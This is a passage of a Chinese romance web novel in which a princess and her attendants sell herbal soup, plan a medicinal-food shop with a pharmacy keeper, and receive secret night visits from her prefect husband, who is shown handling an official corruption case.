毓心和洛石也忍俊不禁。
几人聊了一会儿，等汤彻底炖烂，茴香将鸡汤和羊奶送给江舒窈，毓心将鸡汤送了一碗给刘阿婆后，四人才坐下来享用剩下的鸡汤。
昨天除了早上吃的那点东西，一整天滴水未进，现在温热绵软的鸡汤流入口中，几人都觉得原先的疲惫被一扫而空。
茴香昨天独立完成了熬乌梅汤这项重任，今天一看见李意清走到前院，立刻举手。
“我来我来，我昨天做的杜掌柜还夸了呢。”
李意清颔首：“好，那毓心来帮我一起做温胆汤。”
毓心应了一声，立刻上前帮忙将各类药材清洗干净，放入清水中浸泡，以便药性更好释放。
约莫半炷香后，两人将浸泡好的药材连同浸泡用的水一道倒入锅中，添上没过药材一寸左右的水，用大火煮沸。
等水开，转成小火慢煎，等药色出来，用滤网滤去残渣，温胆汤就煎制完毕了。
李意清闻了闻药味，见毓心尝了一口，问：“怎么样？”
毓心：“味道是对的，就是有点苦，若是添上少许大枣，再辅佐以姜片，效果会更好。”
李意清在心底默默记下。
“不过现在这样，已经很好了。”毓心点了点头，“温胆汤能调理脾胃、化痰止咳、安神定惊、清热利湿，若是我，会买上一罐备着。”
温胆汤是煮好了，可是如何保存，成了一个难题。
乌梅汤本就是清热解暑的饮子，比起药性，大多人只当它是碗滋味不错的水。
可是温胆汤可算是实打实的补药，若是放在大瓮之中，显得过于随意。
再者，等到了明日，温胆汤早就凉了。
李意清陷入沉默。
“还需要重新计划啊。”李意清微微垂眸，思索了一会儿，转而看向已经熬好的温胆汤，“现在，当务之急是怎么保存……毓心，你记不记得，我们在东市上遇见的竹筒？”
毓心顺着李意清的提示回忆，“殿下，你说的是不是一个把一个个竹节做成小瓶的那个？”
李意清肯定的点头。
“就是那个。我记得当时看见的时候，是两文钱一个。”李意清看着面前的大锅，心底粗略盘算，“大概需要二十左右，四十文钱。”
毓心：
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“可是，殿下，原先定在五文钱一碗，虽然不赚什么钱，好歹还能让百姓愿意买，若是加上成本两文钱，七文钱，怕是会有很多人舍不得。”
五文钱一碗已经很便宜了，若是正经出售，不考虑民生，几十文钱也当得。
李意清抿唇：“那就改成七文钱，乌梅汤不变。”
毓心松了一口气，赚不了钱就算了，倒贴进去，可就真的划不来了。
她朝李意清点点头，“那殿下，我先去将集市上看看，买回来后分装。”
李意清“嗯”了一声。
毓心离开后，李意清看着锅中倒映的云天，陷入沉思。
忽然，她就想到了昨夜趁夜回来的元辞章——若是他在这里，或许会有解决方式。
李意清一边心疼他连夜奔波，可是又在心底期待元辞章的回来。
毓心回来后，看着李意清站在前院墙下发呆。
“殿下，你做什么呢？”毓心将一串整整二十四个竹节筒子带了回来，放在桌上后，走到李意清的身边。
毓心抬头看着墙瓦，“殿下，你昨晚有没有听到什么动静？”
李意清呼吸停止了一瞬，而后故作平静道：“昨晚吗？”
“是啊，洛石耳朵好，是他听见的。”毓心点了点头，“不过我当时太困了，看到他走来换灯芯，也没起身去看……后面应该没什么大事。”
李意清：“……嗯。”
所以，昨晚洛石知不知道是元辞章回来了呢。
李意清心里有一种和元辞章私会被身边下属看到的紧张。
“大抵是风声吧。”毓心自顾自地小声说着，转头看见李意清，有些讶然，“殿下，你怎么了？”
李意清耳朵发烫，面颊微红。
而且有一种说不出的娇嗔。
毓心几乎要沉醉她垂眸浅笑的模样当中。
“没什么。”李意清转移话题，“先打水将这些竹筒洗了……洛石呢？”
“他啊，应该在后院，我去喊他打水。”
“嗯。”
李意清点点头，从房中取出一个刀锉，将竹筒边边角角的勾刺磨平。
绑竹筒的人很有巧思，一根粗麻绳索，像扎爆竹一样，左一个右一个累码起来。
若是采上一些零碎的小花装饰，挂在墙上，也显得活泼有趣。
等毓心和洛石说后面水已经打好了，李意清刚好磨完最后一个。
将竹筒带到后院一股脑丢入水中后，三个人一人一边，拿着软布就开始擦拭。
茴香先一步忙完，看见三人，加入了其中。
三个人围在一起本是刚好，可是四个人则显得有些拥挤，茴香和洛石洗着洗着，就开始互相泼水。
原先李意清还能视而不见，直到一瓢不知道谁泼出来的水正好染湿了李意清的衣摆，三人忽然呆若木鸡，连手中握着的竹筒都忘了擦拭。
“殿下。”
李意清看着自己明显深了一片的衣裳，摸上去冰凉，神色平静地将手中的竹筒没入水中。
水咕噜咕噜在灌满。
三人还没反应过来，只见一阵水花，然后身前一阵潮湿。
“啊！殿下！”
李意清忍着嘴角的笑意，趁机在水缸中又装了一点水，“怎么啦！大家要湿一起湿。”
“好啊，殿下，这可是你的说的。”
茴香坏笑了一声，将手中的竹筒放在一旁，直接两只手浸在水中，上扬起一阵水花。
黄昏日光下，水花晶莹剔透。
毓心忍不住道：“茴香，哪有这样的啊。”
126. 偶遇
茴香没有说话，而是朝着她洒水。
毓心立刻顾不得说教，立刻挽起袖子加入了战局。
四个人闹做一团。
等水缸里的水用完，四个人早就成了落汤鸡。
好在是夏日的傍晚，即使身上有水，也不会太冷。
闹后的四人安安静静将竹筒洗刷干净，分装了二十一筒。
收拾好地上的残局，毓心顺道烧水，让李意清先行沐浴。
李意清昨天就想洗了，闻言立刻点头。
毓心烧水的时候，李意清和茴香洛石在厨房中摸索吃食。
倒不是他们三个有多饿，只是隔壁现在都需要照顾，简单炒了两个肉菜，再往锅里煮上一锅饭，顺道在煮的饭上放上两碗打散的鸡蛋，等饭煮熟，鸡蛋羹自然也就好了。
最后将羊奶放在灶台上热着，一切都很妥当。
——“殿下，水开了！”
李意清听到毓心的喊声，快速对茴香和洛石道：“等下这些你们分开送去，晚些我带你们上街去吃些东西，顺道看看能不能赶上晚市。”
茴香立刻雀跃起来。
“好啊好啊，街头的皮肚肉面每天出去都能闻到香味，总算可以吃上了，还有香酥烙饼，酥脆的面皮抱着里头的肉馅，光是想想我都饿了。”
李意清看得说的口水都要流下来，莞尔：“好好好，等下你们都先洗漱了再去，这样湿漉漉的上街，不知道还以为刚从水里爬出来。”
她嘱咐完，回到寝室舒舒服服地泡澡。
温热的水流轻柔地拂过身体，像是流动的丝绸，原先身上的疲惫被一扫而空，舒服得直叫人想嗟叹。
李意清躺在木桶中，伸手去够放在一旁的荷花。
她晨起的时候将荷花与荷叶搭配放在了装了水的瓶中，经过一天的时间，原先紧闭的花苞微微舒展，露出淡黄色泛青的蕊心。
原先盛开的则是开放到荼蘼，轻轻一碰，最外侧的荷花就落到了木桶里。
李意清连忙将荷花放回了原来的瓶中。
擦干身上的水后，她换上一件便服。
进来收拾的毓心一眼看到粉色的荷花，惊讶道：“哪里来的荷花？”
李意清：“……”
毓心见李意清没有说话，追问道：“殿下，你出去摘的吗？什么时候，我怎么不知道附近有荷塘？”
我也不知道附近有没有荷塘。
李意清佯装平静，“好啦，你快去洗吧，早些洗好早些上街。”
毓心被她推着出门，走到门口，脑海中灵光忽至，“殿下，时不时驸马回来了？”
李意清：“……”
一个两个，怎么都这么敏锐。
“……是。”李意清咬着唇轻声道，“别和茴香他们说。”
毓心立刻点头。顿了一拍才反应过来，捂着嘴道：“所以昨夜前院的的动静，其实是驸马对不对？他特意送来三支荷花？他夜行这么久只为给你送来荷花？”
如果省略元辞章倾诉的思念，那么事实好像正是如此。
李意清点了点头。
毓心小声地“啊”了一声，脸上带着兴奋，“那殿下，今晚驸马还会来吗？你放心你放心，茴香和洛石、还有我，肯定都会装作不知道。”
李意清纠正她：“茴香……和洛石，本来也就不知道。”
毓心：“好好好，是我表达不对，总之，殿下你放心好了，我肯定不会说，也不会打扰你和驸马的啦。”
说完，不等李意清反应，就一溜烟地跑没影了。
李意清看着她背影，笑了笑，拿了一块干净的布擦干自己的头发。
等几人都收拾好，四人浩浩荡荡地出了院子。
此刻天刚黑下来，一路上大红灯笼依次亮起，忙活了一整个白天的行人零零散散走在街上，欢声笑语，络绎不绝。
茴香被这气氛感染，一路上笑声不断，走到了她先前提到的面馆的时候，亮着的嗓子喊道：“老板，四碗皮肚肉面，要多多的肉，菜也多上一些，再来两碟油酥烙饼，要表面焦黄那种。再来一碟花生，一碗拌菜。”
茴香考虑得十分细致，皮肚肉面加了茱萸八角，咸香辛爽，油酥烙饼脆香解辛辣，多余的油脂可以搭配着清凉的拌菜，一顿饭下去，想不过瘾都难。
老板也笑了：“姑娘看着年纪不大，却很会吃啊。四位稍坐片刻，面食过会儿就好。”
茴香笑眯眯地坐下。
她主动将筷子篓里的筷子分给众人，眼神仔街道上乱瞄。
忽然，一道熟悉的身影映入眼帘。
“你们看啊，那是不是杜掌柜？”
李意清等人循着她的声音望过去，看见了一身狼狈的杜于泉。
他像往常一样穿着玄黑色的褂裳，衣摆上站着尘土，头发都散了。
毓心也认出来了，她语气疑惑：“杜掌柜每次见人都是衣冠整齐，今日怎么会这副打扮就出来了。”
两人小声交谈，然后齐齐看向李意清。
眼底意思很明显，要不要上前打个招呼。
毕竟现在药铺和他们，算得上合作关系。
李意清看着他失魂落魄走在街上的模样，有些拿不准主意。
诚如毓心所言，杜于泉每次都会格外注意自己的形象，如今这副落寞的模样，他不会希望有认识的人看到他这样狼狈的样子。
“若是真的关心，等以后再问吧，现在他这副模样，不适合贸然打扰。”
毓心等人若有所思的点头。
正好此时，端着皮肚肉面的老板一声吆喝，“客观，您的面好了！还有拌菜，浇了麻油，香的很！”
他的嗓门洪亮，立刻吸引了其他人的视线。
有食客舔了舔嘴唇，高声道：“老板，我也要一份拌菜，加麻油。”
一唱一和，吸引了过路人的注意。
其中正包括杜于泉。
杜于泉看见坐在摊前的四人，脚步猛地一顿，几乎是下意识地，就想要转身离开。
自己这副模样，怎么可以显露人前。
茴香看得最清楚，当杜于泉看见他们的时候，脚下的步子调转了方向。
可是又不知怎么，转了回来。
杜于泉深吸一口气，伸手将自己的发冠扶正，然后佯装平静地朝四人打招呼。
“好巧，在这里也能遇到你们。”
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茴香心直口快，“不是啊，我们就住在这附近。”
杜于泉：“原来如此。”
李意清没有问他这副模样从何而来，随意问：“杜掌柜吃过了吗？没吃的饭不妨坐下，一道吃一碗便饭？”
杜于泉鬼使神差道：“那就恭敬不如从命。”
洛石挪了挪屁股，给杜于泉腾出半边板凳，等他坐下后，茴香笑着对老板道：“老板，再加一份肉面，还有烙饼。”
杜于泉僵硬的身躯微不可察地放松了几分，看着埋头吃面，没有展现丝毫好奇心的几人，忽然觉得自己真不是个东西。
他在心中唾弃自己。
李意清慢条斯理地吃着碗中的面，间或搭配一两口凉菜。
她和毓心、茴香先一步吃完，等老板再端上来的时候，只剩下他和饭量大没吃饱多要了一碗的洛石。
洛石吃得风卷残云，这是他一贯的作风，见杜于泉只顾着眼前的面，端起拌菜用筷子扒拉扒拉，全整自己碗里了。
吃饱喝足，李意清从袖中取出银钱，付给老板。
杜于泉：“姑娘！怎么好叫姑娘破费！”
“一碗肉面而已，杜掌柜千万别放在心上。”李意清摆了摆手。
杜于泉忽然就失语了。
一旁的茴香道：“杜掌柜，你还有要事吗？我们姑娘还要带我们去逛逛呢，若是没别的事，我们就此别过。”
三人齐齐看着他。
杜于泉让开了半个身位，等人相继离开，忽然喊道：“姑娘。”
李意清回头。
杜于泉小步上前，头埋得很低：“姑娘，您手上的乌梅汤方子，可愿意出售给我？”
茴香：“好哇！我们姑娘好心留你吃饭，你却惦记我们姑娘的方子！”
就连毓心的脸上都流露出了几分不赞同的神色。
李意清：“那日我写给掌柜的药方，就是乌梅汤的方子，杜掌柜明明都已经知道了，何必还要来问我。”
杜于泉声若蚊呐：“因为，我于心有愧。”
李意清能放心地将方子写给他，他却不敢偷偷占为己用。
茴香：“杜掌柜，你是不是遇到了什么困难？”
杜于泉苦笑着点头。
“我很快，就不是药铺的掌柜了。”
茴香：“这话是什么意思？那我们的约定还做数吗？”
杜于泉：“实不相瞒，药铺，是我堂叔和堂婶的家产，这些年药铺生意一直不太好，叔父渐渐瞧不上这块，准备关张。”
“准备关门？”茴香惊呼一声，“那你们怎么办？怎么也不提前说一声，好让我们殿下联系其他药铺。”
说着，她的语气带上了几分埋怨。
李意清拉住她，认真看向杜于泉：“我看杜掌柜，很喜欢药铺，若是你叔父收回去了，你当怎么样？”
“我还不知道，叔父已经将伙计请辞了，准备把药铺改成布坊。”杜于泉的声音越来越低。
李意清看着他低落的语气，从这几日的相处中，她能看出来杜于泉是真心喜欢药铺的。
她顿了顿，轻声问：“杜掌柜有没有考虑过，自己开一家药铺？”
127. 涧石蓝
杜于泉愣在了原地，一阵夜风吹来，他浑身哆嗦了一下。
自己开一家药铺，听上去那么美好，可是，可是……
他摇了摇头，“我没钱，盘不起店面，现在舒州药铺生意不好做，若是开了药铺，也只能吃西北风。”
李意清：“若是我愿意和你一道开店，我出钱出铺面，你帮忙看店，我记得杜掌柜有医术在身？”
杜于泉一脸不可置信地看着李意清。
“姑娘，不不不，怎好叫姑娘这般破费。”杜于泉挠了挠头，“至于医术，祖上学医，我八岁跟随父亲行医，迄今十一年。”
后来杜老爹失足落下山崖，只剩下他一个人。
他压低了声音，“姑娘，我知道你好心，可是现在的药铺生意难做，你还是别淌这浑水了。”
李意清：“不，不做药材铺，做药膳生意，我记得掌柜懂医术，药膳内置一间医馆，你再请两位大夫轮流坐诊。你手中原先的药材线，依旧可有派上用场。”
杜于泉瞪大眼睛。
“药膳？”
“和饭馆一样，不过卖的东西更适合需要滋补的病人罢了。”李意清语气冷静，“府城和周边农庄到底不一样，不少人有足够的银钱，却不知道该怎么照顾，正好我手中有一些医术丹方，现在就能派上用场了。”
“姑娘是说，集看病问诊，抓药和食补三者于一身？”
李意清颔首：“正是如此。”
杜于泉感觉自己的掌心在微微出汗。
这三者功能合为一体，体量过于庞大，他从未掌管这么大的店面。
李意清白天还在担忧温胆汤凉了后药性减弱，若是能开药膳铺面，随热随上，则可避免前一天熬制的间隔时长过久。
“杜掌柜可回去好好考虑，若是有意，可到城东梨花弄堂清风居寻我。”
此事毕竟事关重大，两人也没有相关的经验，一切都是白手起家，犹豫是很正常的。
李意清没有逼迫，说完，朝着杜于泉拱了拱手，转身离开。
*
等走出去一段路，毓心才有些不放心地问：“殿下，他能行吗？”
论勤奋，杜于泉自然是没的说的。
不过那么大的店面，杜于泉看着年纪不大，连他堂叔父的药铺都经营得惨淡。
“没有谁一开始就能掌管好一间店面，他心有所念，会全力以赴。若他愿意，我也可以请人过来辅助，不至于让人太过于为难。”李意清笑了笑，语气放柔了几分，“况且你还记得吗，上次起冲突时，他是唯一一个站出来提醒我的。”
顿了顿，她接着道：“那时候他额头上都是汗水，明显怕极了那刘宋两人，可是还是鼓足勇气，提点了我一句。”
她有能力压制住那三人，所以那句提醒可有可无，若是换成寻常女子，说不定就能避免一桩祸事。
毓心“嗯”了一声。
“好啦，先不用想那么多。”李意清转头，目光在剩下的三人身上一一扫过，“既然药铺要关门，明日开始就先不用熬乌梅汤了。明日开始找一找有没有合适的店面，不用给我省钱。”
几人纷纷点头。
李意清说完，视线在街上梭巡一圈，而后道：“到了舒州以后，你们身上的衣裳都没有再做过新的，正好今晚有空，看一看有没有适合自己的布料。”
茴香：“倒是也不缺新衣服啦，不过殿下既然愿意花钱，我就不推辞了。”
洛石点头：“是啊，不用给殿下省钱。”
两个人嘻嘻哈哈地笑着，推推攘攘，走进一家布坊后，原先准备关门的老板娘立刻来了精神。
布坊老板娘天天和布料打交道，自然知道眼前四人身上的布料都不寻常，二话没说，立刻让小厮去后面搬了不轻易示人的丝绸布料。
“几位客人慢慢挑选。”老板娘精神抖擞，中气十足地对旁边一人道，“快去，再多点两盏灯。”
烛光一点，布料在光影交织中显得很有质感。
茴香照例选择鹅黄和嫩青两种清新的颜色，毓心则更加靠近碧色和藕粉，洛石则显得很无所谓，摸着觉得面料还好，就让小厮给抱起来。
看着三个人干脆利落的模样，布坊老板娘脸上的笑都没下去过。
这单生意要是成了，半个月不开张都成。
李意清看了一眼三人，见不需要自己操心，专心致志挑选适合元辞章的颜色。
布坊老板娘很会看人下菜碟，遇到那种喜欢被追捧的，会凑上前不要钱一样说好听的话，遇到这样不喜欢人打扰的，就会安安分分坐在一旁，等着顾客自己挑选。
李意清在布料中左挑右选，店里的布料数量有限，她只选中了一件白蓝色的斜纹布料。
布料的表面光滑，暗绣纹路若隐若现，青蓝色叠染，晕开如水墨画。
这样的颜色有一个极美的名字——涧石。
相传制作成这样颜色的匠人，在山林间偶然看见山涧青石透过潺潺溪水泛着的蓝色，宁静而沉净。
制作这块布料的人显然极为用心，留白和晕染一如山河画卷徐徐展开，穿在身上既有白衣鹤袍的清新脱俗，也有文人学士的不羁风雅。
等李意清主动走来，布坊老板娘才夸赞道：“姑娘真是好眼光，这块布料可是今春的新货，整个舒州府，我都敢打包票只此一块，不知道姑娘要做成什么样？我倒是有绣娘可以推荐。”
正如做药材生意的有自己的收药线，布坊生意自然和绣房打交道的多。
毓心和茴香都不擅长女红，闻言，看向了布坊老板娘。
布坊老板娘笑：“几位把衣裳尺寸写下，一套衣裳十日左右就能来拿……不过几位挑选的布料都是精贵物件，原先绣娘一套是五十文钱，你们，则要三百二十文。”
毓心：“啊？贵这么多？”
“哎哟哟，我的好姑娘哎，虽然绣娘做这缝衣裳的伙计十多年了，可是这布料毕竟金贵，若是伤着碰着，那可不得了。钱不多给一些，谁人敢接这个单子？”
她这话说的在理。
“不过，”老板娘眼珠子一转，好声好气道，“你们买这么多，是个难得的大单，我去和绣房那边谈，一件三百文也就是。”
一件三百文。李意清视线扫过三人手中的布料，三个人真没给她省，个个抱着三四种花色。
见李意清看过来，洛石将其中的一卷丢下来，“这三就行、这三就行。”
“
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没事，说了不用给我省钱。”李意清示意他拿起来，清算一遍后，转头对布坊老板娘道：“制衣三两六贯，原布多少钱？”
布坊老板娘拿出算盘，飞快打着，“你手上那件二十两，这位公子手上的红狐缎十五两，其他每卷十二两，合计一百五十五两。”
“你们先去写衣裳尺寸。”李意清说完，从袖中取出两张银票，“老板娘，等衣裳好了，将结余和成裳送到城东梨花弄堂？你知道那块吗？”
“知道知道，都是在这府城住了三十多年的人了，哪有什么不明白的。”老板娘拍着胸脯保证道，吩咐小厮拿来纸笔，写上凭证，画押后交给李意清。
“等到时候东西送到了，您啊，就将这条子给她，咱们也有有个凭证。”
李意清伸手接过，朝着老板娘点头。
洛石他们三个此刻都已经写完，李意清最后一个提笔。
她写的很快，字迹灵动飘逸，将尺寸大小和样式写完后递给老板娘。
老板娘接过看了一眼，笑着点头。
“好，等衣裳做好了，我给你们送过去。”
茴香这才注意到李意清挑选的那一块布料还不是给自己买的，有些惊讶地瞪大了眼睛。
李意清：“好啦，时候不早了，该回去了。”
出了布坊的时候，已经半只脚踏入深夜，街道上只剩下零星的店铺。
原先买汤面的老板也打了烊，只剩下一张写着吃食的幡旗随风摇啊摇。
三人回到清风居的时候，特意在隔壁两户院子前停步倾耳，确认没什么异样后，回到了院子。
李意清回到寝屋，伸手点了一盏灯。
细弱的火苗在夜风的吹拂下摇曳不休，光影绰绰，她取出纸笔，将药膳堂的细则一一写下来。
偶尔划去一条，又补充几条，写写停停，累了就放下笔杆，单手撑着侧脸。
她的视线在看那一束快要干瘪的荷花。
也不知道元辞章今夜回不回来，什么时候才来。
不知不觉，等到半夜。
子时过后，屋外的蛙叫声在静谧之中格外明显。李意清一只手抵在桌上，托着侧脸，好几次睡过去，又晃动着醒过来。
烛光掉落，李意清再一次被灯光晃醒，看了一眼高悬夜空的明月，满身困意地站起身，准备上床休息。
忽然，皎白的月光下，窗户被人从外拉开，元辞章动作利落地翻墙进来。
李意清立刻停住脚步，原先的困意消散大半。
她小声道：“我以为你今晚不来了。”
“抱歉，今日去了临峰县，路上耽误了些时间。”元辞章从袖中拿出一个油纸包，“他们说这时当地的特色，花团，多是在暮春之时采集鲜花制作而成，你尝尝好不好吃？”
李意清接过油纸包，打开后，里面是三个粉红色的糯团，上面沾着一层细细的粉。
或许是因为一路的颠簸，原先圆润的外表受到挤压，一个个奇形怪状。
但是因为外面的那一层粉，三个花团并没有粘连在一起。
在元辞章期待的目光下，伸手拿起一个，咬开后，里面的流心甜糯香软。
她的眉眼弯了起来，朝元辞章点头。
128. 翻窗
元辞章静静地看着她，一半身体沐浴在月光下，一半在阴影中，身上沾着赶路而来的潮湿气息。
看见李意清微弯的眼眸，眉宇之间淡淡的疲惫被一扫而空。
他伸手擦去沾染在她唇角的粉末，然后道：“你若是喜欢，我下次多带一些。”
李意清连忙咽下口中的花团，“不用不用，这三日你只会走得更远，来回一趟太过辛苦，你可千万别再回来了。”
顿了顿，她放轻了声音：“我也是会心疼的。”
元辞章眸光温柔而安静地看着她，闻言，眼眸中极快地闪过一抹情绪。
他哑声笑了笑，轻声应道：“好。”
李意清将最后一枚花团送入他的口中，然后牵着他的手，走到了书案前。
元辞章顺从地跟着她，语气带笑：“不是困了吗？”
“你来了，就不困了。”
元辞章身量高，李意清踮脚抬头，示意他坐下来。
等元辞章坐下后，她绕到元辞章的身后，一只手搭在他的肩膀上，另一只手将她勾写的纸张拿起来。
“你看看？”
她低头的瞬间，柔顺如绸缎的头发自然垂落，散在元辞章的耳侧。
耳根被发丝轻触，有些痒意，鼻尖萦绕着皂角和桂花的香味。
元辞章定了定神，一页一页顺着纸张看下去。
“药膳堂？”
李意清“嗯”了一声，“正好我今日在忧心温胆汤怎么保存，杜掌柜说了此事之后，我才突然想到这个点子……你觉得可行吗？我总觉得有哪里缺少了些什么。”
元辞章：“杜掌柜？”
李意清：“……嗯？对啊，杜掌柜杜于泉，就是乌梅汤合作的那家药铺的掌柜。他叔父准备收走做别的。”
元辞章小声“唔”了一声。
李意清将脑袋自然搭在元辞章的肩膀上，“啊，好难啊。”
元辞章的动作十分小心，像是生怕自己稍微一点动作就会吓到掌心的蝴蝶，以至于显得有几分僵硬。
他感受着肩上清浅的呼吸，沉吟片刻，轻声道：“掌柜之事你不用担心，元家在江宁铺面多，有不少从小培养的能手，我明日便修书一封，请人过来帮你。”
李意清闻言，嘴角忍不住绽开一抹笑容，用手晃动着元辞章的袖子。
“至于铺面，等我问过府衙主事，选出地方再告诉你。你看这样好不好？”
李意清在他的肩膀上点头，又摇了摇头，声音轻软：“好的掌柜才是可遇不可求，你帮我解决了这么大一个麻烦，剩下的事情，我自己能处理好。”
元辞章：“好，若是有其他问题，再说就是。”
李意清轻笑着点头。
说完药膳堂的事情，原先消散的困意重新聚拢，元辞章保持僵硬的姿势，等肩膀上的呼吸声渐渐平稳，才将李意清抱在怀中。
将人放在床上后，元辞章微微伸手，冰凉的指尖轻触她的脸庞。
静默了半响，元辞章忽然轻叹了一声，转身翻窗离开。
*
第二日一早，毓心进来服饰，看见桌上的油纸包，见怪不怪。
李意清刚醒，此刻意识还处在困顿之中。
昨晚元辞章走后，她做了一个梦，梦里元辞章双手撑在自己两侧，俯身看着她，眼神中带着罕见的侵略性。
他的唇几乎要碰到她的耳坠，哑声在她耳边问了一句话。
问了什么话？
怎么就想不起来了。
李意清伸手拍了拍自己脸，放空自己的脑海。
毓心在旁边看着她笑，笑完，才想起还等在门外的杜于泉，小声道：“殿下，杜掌柜来了。”
“啊？哦。”
李意清迟钝地反应过来，然后不可置信地看了一眼天光。
很好，此刻天还是蒙蒙亮。
毓心看出李意清眼底的疑惑，将自己心中的猜想说了出来。
“杜掌柜大概是一夜未回，身上的衣裳和昨晚见到的一模一样，鞋履上沾满了泥土，不知道在哪沾上的。”
李意清：“这样。你先将人请进来，准备一些水让他洗漱。等我穿戴好后，一道用饭吧。”
毓心应了一声，将李意清今日要穿戴的衣服放在床边的架子上后，离开了寝屋。
李意清快速换好衣服，用葫芦瓢打了两勺清晨洛石新打的井水倒入铜盆。
早晨的井水冰凉，水甫一拍到脸上，就冷得她打了一个哆嗦。
擦干脸上的水后，她整理衣袖，走了出去。
等候在外的杜于泉看见她走出来，立刻拱手朝她遥遥一拜。
“姑娘，姑娘昨夜讲的事，在下愿意一试。”
他的声音带着一夜未眠的沙砾感，语气却是十分坚定。
李意清：“好，昨夜你说你忧心担任不好掌柜一职，我会让人助你。毓心，去将那本手札拿来给杜掌柜。”
毓心点了点头，立刻将一本有些年头的册子拿了出来。
里面记载的食谱方子多是宫廷流传，杜于泉翻了两页，就合上不再看。
“姑娘，这是否太过贵重？”
“医术为救人而存在，你若是能得到一二启发，算是这本册子的功德。”李意清语气平静，“再者，日后药膳堂的事宜还要多多仰仗杜掌柜。”
杜于泉握紧了手中的册子，半响，对李意清道，“姑娘放心，只要姑娘不嫌弃，杜某愿一生追随。”
“人与人的相逢本就是一段时间的缘分，杜掌柜若是以后愿意出来单干，或者广收门徒，都可自行决断。”李意清却摇了摇头，“你我本就是合作关系，何至于许如此重诺。”
杜于泉沉默了一瞬才道：“姑娘心胸宽广，在下望尘莫及。”
他没有改变自己的主意。
李意清不喜欢听，他以后不说就是了。
药方交接，随后就是药膳堂的名字，李意清能随心把自己的居所叫做清风居，却对一家店铺的名字拿不准。
杜于泉道：“药铺医馆取名，大多从仁从济，姑娘的药膳堂以药为本，不如叫做仁安堂。”
茴香在旁摇了摇头，“这名字也太素了些，一眼望过去，和遇到的济世堂、仁善堂别无二致。”
杜于泉有些忏愧。
李意清看她一眼，轻声道：“集思广
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益，多说不错。”
“那我看，不如见仁清堂，清字是雅正，不燥不郁，一眼望过去就让人心中清凉。”毓心在旁建议，“你们觉得如何？”
杜于泉率先表态：“此名甚好。”
李意清心中想说，名字不必取的和她关系这么密切。
可是毓心字字句句都是清的释义，仿佛和她并没有关系，她主动提出来也不合适。
见茴香和洛石纷纷表态赞同，李意清将自己想的名字“逢春堂”咽了回去。
她只是蓦然间想到了枯木逢春。世人常说久旱甘霖，枯木逢春乃可遇不可求的喜事，这样好的寓意，用作名字未尝不可。
其实，仁清堂听着，倒是更像是传统的医馆名字。
洛石：“姑娘，你怎么不说说你的想法？”
他刚才就注意到了，一直是他们几个叽叽喳喳的讨论，李意清只是很安静的倾听，不贬低也不过分夸耀。
“姑娘，我们几个虽然没读过几年书，却也绞尽脑汁在想，你不会就干等着我们说吧？”茴香也被煽动了起来。
“是啊姑娘，哪有这样的道理。”
李意清被两人的轮番质问弄得哭笑不得，“怎么会？仁清堂就很好，听着就像是个悬壶济世的地方。”
洛石还有点不相信：“是吗？我怎么看你还有别的想法？”
李意清道：“没有，就定为仁清堂吧。现在就可以开始着手制匾额，这几日先在城中选出适合的地段租下房子，后续的事宜，还要各位多上心。”
茴香表现得很大度，托着腮笑眯眯地看着李意清道：“好啊，姑娘可高坐庙堂，静待我等佳音——只要银钱都给报就好。”
洛石学着曲楼青衣做了一个动作，手一抬一放，还真有几分台柱的风范：
“正是！”
李意清忍俊不禁，几人笑做一团。
商量完后续的事情后，杜于泉率先离开，准备趁开店前这段时间再研读这本药册。剩下三人寻找帮工的、寻找房子的，也都尽数出动。
李意清被几人按在座椅上动弹不得，三人命其名曰，这样跑腿的活计，殿下尽可以高坐庙堂，敬候佳音。
这一点本不足以说服李意清，可是紧随其后，毓心道：“殿下，宅中不可无人看守，隔壁还有刘阿婆和江姐姐，就劳累姑娘都辛苦一点，帮我们照顾家中。”
说完，三人相视一笑，携手离开。
李意清躺在树荫下的躺椅上，随手折了一片碧绿的树叶遮挡住眼眸。
明明就是担心她劳累，还用这般蹩脚的借口。
李意清心知肚明。
随着太阳越来越高，清晨的雾气一点点消散，暖意一点点上涌，融化在夏风中。
或许是这几日太累，她躺在躺椅中，闭着眼眸，没一会儿就进入了梦乡。
梦里，漫山遍野的花海，她在里面纵情地奔跑，裙袂沾染了花香。
一路的花香划作飞舞的蝴蝶，他们齐齐向上飞去，变成了光。
李意清酣然从梦中转醒。不觉间一个多时辰过去，太阳斜照，她半个身子都徜徉在光下。
怪不得做如此美梦。
129. 怀松
临峰县县衙内，下面站着一群绿衣官员，眼巴巴地看着堂上坐着的年轻官员。
“知州大人，这就是全部记载了，您看？”
元辞章淡淡看完最后一行字，抬眸看向一脸谨小慎微的临峰县知县。
“尚可。”
临峰县知县松了一口气，他不动声色地用袖子擦去额头上渗出来的汗水，接着呈上一本县衙公使钱记录。
这本簿子，自打知道舒州知州准备下到各地巡查的时候，他就开始和主簿一一对账。
他有信心，这位年轻的知州看不出任何毛病。
元辞章翻了几页，心中大概有数，拿起靠在方砚的毛笔。
刚一落笔，原本要写的“临”字，却成了一个“杜”字。
杜掌柜。
元辞章愣了一刹那，快到让人反应不过来，又神情漠然地提笔划去那个“杜”。
他以为自己可以做到不在意，看来，他高估了自己的独占欲。
下面的几个官员只能看见台上的元辞章眉眼冷漠疏离，写了什么，又划掉了什么。
临峰县的知县一颗心都险些蹦出来。
“知州大人……”
元辞章看着那一团刺眼的墨水，抿了抿自己的唇角。
将毛笔搁在笔山上后，冷冷抬眸看着站在原地的临峰县知县，“赵知县公然造假册，来人，扣下问审。”
临峰县知县被人按住双臂，口中直呼冤枉，还试图拉住其他往日交好的同僚为自己作证。
可是眼下知州还朝这边看着，其他人生怕淌进这淌浑水，纷纷低头装死。
临峰县知县瞬时面如死灰。
散场之后，元辞章独自一人坐在堂中，将这些年赵知县的所作所为记录下来，再召来衙役，将罪证快马加鞭，传给安抚使。
顿了顿，他又写了一封家书传回舒州府城。
与其说是家书，不如说是简短八个字。
“临峰遇事，耽误两天。”
等人奉命前来取走书信后，元辞章才伸手揉了揉自己的眉骨，展露出绝不现于人前的疲惫。
许三有些心疼地看着自家公子半倚在书案前休息，温声道：“公子，现在这个时辰应当没人过来了，不如回后院小憩片刻？我再给公子捏捏肩，这样可好？”
元辞章道：“你知道杜掌柜吗？”
许三怔了一刻，才迟钝地道：“啊？谁？”
元辞章垂眸，纤长的眼睫盖下眼底的所有情绪。
他的语气又恢复了一如既往的淡然：“没什么。”
许三：“那公子，你要不要休息？”
元辞章闭了闭眼，伸手拿起另一本册子。
“不必。”
早点看完，早些回去。
*
一晃五天而过。
自李意清收到元辞章派人传回来的书信，已经过去了四天。
按照元辞章信中所言，估计就这两天差不离。
